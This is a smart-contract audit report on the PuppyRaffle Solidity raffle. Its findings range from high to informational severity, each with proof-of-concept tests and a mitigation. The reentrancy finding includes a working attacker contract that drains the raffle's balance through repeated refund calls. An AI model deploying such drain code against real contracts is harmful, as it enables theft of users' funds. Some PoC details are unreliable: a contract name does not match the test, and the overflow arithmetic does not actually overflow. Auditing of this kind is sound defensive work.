Protocol Audit Report

Prepared by: Egnoel

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Egnoel team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspnd the following commit hash:

`2a47715b30cf11ca82db148704e67652ad679cd8`

Scope

```
./src/
-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Gas	2
Info	7
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` functions does not follow CEI (Checks-Effects-Interactions) pattern, enabling participants to drain contract balance.

In the `PuppyRaffle::refund` we first make an external call to `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );

@>        payable(msg.sender).sendValue(entranceFee);
@>        players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback/receive` functions that calls the `PuppyRaffle:refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by the raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle.
2. Attacker sets up a malicious contract with a fallback function that calls `PuppyRaffle::refund`.
3. Attacker enters the raffle.
4. Attacker calls `PuppyRaffle::refund`, which triggers the fallback function.

Proof of Code:

▶ PoC

```
function testReentrance() public playersEntered {
        ReentrancyAttacker attacker = new
ReentrancyAttacker(address(puppyRaffle));
        vm.deal(address(attacker), 1e18);
        uint256 startingAttackerBalance = address(attacker).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        attacker.attack();

        uint256 endingAttackerBalance = address(attacker).balance;
        uint256 endingContractBalance = address(puppyRaffle).balance;
        assertEq(endingAttackerBalance, startingAttackerBalance +
startingContractBalance);
        assertEq(endingContractBalance, 0);

        console.log("starting attacker balance", startingAttackerBalance);
        console.log("starting contract balance", startingContractBalance);
        console.log("ending attacker balance", address(attacker).balance);
        console.log("ending contract balance", address(puppyRaffle).balance);
    }
```

And this contract as well:

```


contract ReentrancyAttack {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = _puppyRaffle.entranceFee();
    }
    function attack() external {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= 0) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionaly, we should move the event emission up as well.

```diff
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
+        players[playerIndex] = address(0);
+        emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);

-        players[playerIndex] = address(0);
-        emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner or the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp`, and `block.number` to select a winner is not a secure method of generating randomness. This allows users to influence or predict the winner, as they can manipulate these values.

Note: This additionally means that users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence or predict the winner of the raffle, winning the money and selecting the rarest puppy.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate.
2. User can mine/manipulate their `msg.sender` value to result in their address being selected as the winner.
3. Users can revert their `selectWinner` transaction if they see they are not the winner.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF (Verifiable Random Function) to ensure fair and unbiased winner selection.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees.

Description: In soldidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// myVar is now 18446744073709551615
myVar += 1;
// myVar is now 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are acumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the fees will be permanently stuck in the contract, as the `feeAddress` will never be able to withdraw them.

Proof of Concept:

▶ Proof of Concept

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
//aka
totalFees = 800000000000000000 + 17800000000000000;
// and this will overflow
totalFees = 153255926290448384;
```

4. you will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
 require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
currently players active!");
```

Althought you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a second
raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few recommendations:

1. Upgrade to a version of Solidity that has built-in overflow checks (0.8.0 or later).
2. Use `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity to handle arithmetic operations safely. However you would still have a hard time with the `uint64` type if too many fees are collected.

3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees),"PuppyRaffle: There are
currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players arrays to check for duplicates in `PuppyRaffle::enterRaffle` is a potencial denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas for the players who enter right when the raffle starts will be dramatically lower than those who enter later. Every aditional address in the `players` array, is an additional check the loop will havel to make.

```
// @audits DoS
@>    for (uint256 i = 0; i < players.length - 1; i++) {
          for (uint256 j = i + 1; j < players.length; j++) {
              require(
                  players[i] != players[j],
                  "PuppyRaffle: Duplicate player"
              );
          }
      }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discoraуging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st 100 playes: ~6252048 gas
- 2nd 100 players: ~18068138 gas This is more than 3x more expensive for the second 100 players.

▶ PoC

```
function test_denialOfService() public {
        vm.txGasPrice(1);

        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        uint256 gasEnd = gasleft();
        uint256 gasUsed = (gasStart - gasEnd) * tx.gasprice;
        console.log(
            "Gas used for entering %s players: %s",
            playersNum,
            gasUsed
        );

        // Seconde 100 users
        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(playersTwo);
        uint256 gasEndSecond = gasleft();
        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.gasprice;
        console.log(
            "Gas used for entering the second %s players: %s",
            playersNum,
            gasUsedSecond
        );

        assert(gasUsed < gasUsedSecond);
    }
```

Recommended Mitigation: There are a few recomendations

1. Consider allowing duplicate. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

[M-2] Unsafe cast of PuppyRaffle::fee loses fees

Description: In PuppyRaffle::selectWinner their is a type cast of a uint256 to a uint64. This is an unsafe cast, and if the uint256 is larger than type(uint64).max, the value will be truncated.

```

    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle:
Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
```

```
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a uint64 is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

Impact: This means the feeAddress will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the fee as a uint64 hits
3. totalFees is incorrectly updated with a lower amount
4. You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set PuppyRaffle::totalFees to a uint256 instead of a uint64, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
But the potential gas saved isn't worth it if we have to recast and this bug
exists.

-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle:
Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

```diff
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart. Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult. Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few recommendations to mitigate this issue:

1. Do not allow smart contract wallets to enter the lottery (not recommended).
2. Create a mapping of addresses -> payout amounts so winners can pull their funds themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize (recommended).

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing the player at index 0 to think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array, at index 0, the `PuppyRaffle::getActivePlayerIndex` function will return 0, but acording to the natspec, it will also return 0 if the player is not in the `PuppyRaffle::players` array. This means that a player at index 0 will think they have not entered the raffle, when they have.

```
function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may think they have not entered the raffle, and attempt to enter again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. User thinks they have not entered the raffle due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0. You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not in the array, and the index otherwise.

```
function getActivePlayerIndex(
        address player
    ) external view returns (int256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return int256(i);
            }
        }
-        return 0;
+        return -1;
    }
```

Gas

[G-1]: Unchanged state variables should be declared as `immutable` or `constant`

Reading from storage is much more expensive than reading from memory, so it's a good practice to use `immutable` or `constant` for state variables that don't change.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::entranceFee` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2]: Storage variables in a loop should be cached

When accessing storage variables in a loop, it's more efficient to cache them in memory to reduce gas costs.

```
+  uint256 playerLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+  for (uint256 i = 0; i < playerLength - 1; i++) {
```

```diff
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playerLength; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

Informational Findings

[I-1]: Solidity pragma version is not set to a specific version

Consider using a specific version of solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.17;`.

- Found in src/PuppyRaffle.sol:32:23:35

[I-2]: using an outdated version of solidity is not recommended

Consider using a more recent version of solidity, as the one used is outdated and may contain vulnerabilities.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

When assigning values to address state variables, it's a good practice to check if the address is not `address(0)` to prevent potential issues.

- Found in src/PuppyRaffle.sol:8662:23:35
- Found in src/PuppyRaffle.sol:3165:24:35
- Found in src/PuppyRaffle.sol:9809:26:35

[I-4]: `PuppyRaffle::selectWinner` should follow CEI (Checks-Effects-Interactions) pattern

It's best to keep the code clean and follow the CEI pattern, even if the current implementation is not vulnerable to reentrancy attacks. This will help prevent future vulnerabilities.

```diff
-    (bool success, ) = winner.call{value: prizePool}("");
-    require(success, "PuppyRaffle: Failed to send prize pool to winner");
    _safeMint(winner, tokenId);
+    (bool success, ) = winner.call{value: prizePool}("");
+    require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5]: Use of "magic" numbers is discouraged

Using "magic" numbers in your code can make it harder to understand and maintain. Consider using named constants or enums instead.

Examples:

```
 uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use:

```
uint256 PRIZE_POOL_PERCENTAGE = 80;
uint256 FEE_PERCENTAGE = 20;

uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / 100;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / 100;
```

[I-6]: state changes are missing events.

[I-7]: `PuppyRaffle:_isActivePlayer` is never used and should be removed.